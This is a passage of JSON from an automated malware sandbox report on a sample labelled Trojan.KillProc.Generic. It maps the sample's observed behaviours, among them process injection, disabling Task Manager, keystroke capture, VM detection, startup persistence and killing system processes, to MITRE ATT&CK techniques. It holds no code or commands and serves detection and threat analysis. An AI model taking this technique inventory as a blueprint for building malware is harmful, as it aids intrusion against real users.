roducts/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.KillProc.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Dynamic Data Exchange","attack_id":"T1173","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1173","identifiers":[{"type":"suspicious","value":"The input sample contains an embedded RTF document"}],"sources":[{"report_type":"sandbox","report_id":"5cb4059f0388387297dd495b"}]},{"tactic":"Exfiltration","technique":"Data Compressed","attack_id":"T1002","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"5cb4059f0388387297dd495b"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Dotnet source code contains suspicious native API"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to execute application (Dotnet)"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Creates new processes"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Executes WMI queries known to be used for VM detection"},{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Executes WMI queries"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Runs shell commands"},{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Persistence","technique":"Winlogon Helper DLL","attack_id":"T1547.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/004","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Contains reference to Windows Startup folder"},{"type":"informative","value":"Writes a file to the startup folder"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Allocates virtual memory in a remote process"},{"type":"suspicious","value":"Writes data to a remote process"},{"type":"informative","value":"Reference explorer.exe process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Adjusts debug privileges"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"malicious","value":"Disables Windows Task Manager (taskmgr)"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Tries to map intranet network resources to internet zone"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"malicious","value":"PE file contains executable resources"},{"type":"suspicious","value":"YARA signature match - CRC-32 algorithm"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"YARA signature match - RC4 Encryption"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Dotnet file resource with suspicious entropy"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Dotnet code contains ability to modify/delete registry"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"malicious","value":"Drops a batch file that contains a force-delete command (typical for malware init code)"},{"type":"informative","value":"Contains ability to delete files"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy sections"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability execute applications in hidden mode (Dotnet)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Detected file retrieval based on search patterns"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files in the Windows directory"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve windows environment variables"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"suspicious","value":"Contains ability to query CPU information"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Executes WMI queries to gather system information"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"suspicious","value":"Contains ability to retrieve the specified system metric or system configuration setting"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Scanning for window names"},{"type":"suspicious","value":"Contains ability to retrieve open application windows"},{"type":"informative","value":"Calls an API typically used to get active windows title"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"malicious","value":"Uses WMIC to find system user account"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for the presence of a forensics/monitoring tool"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"suspicious","value":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Tries to open documents files"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Write document files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to copy files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Impact","technique":"Defacement","attack_id":"T1491","attack_id_wiki":"https://attack.mitre.org/techniques/T1491","identifiers":[{"type":"suspicious","value":"Changes the desktop background picture"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"malicious","value":"Terminates other processes using tskill/taskkill"},{"type":"malicious","value":"Terminates system processes"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Impact","technique":"System 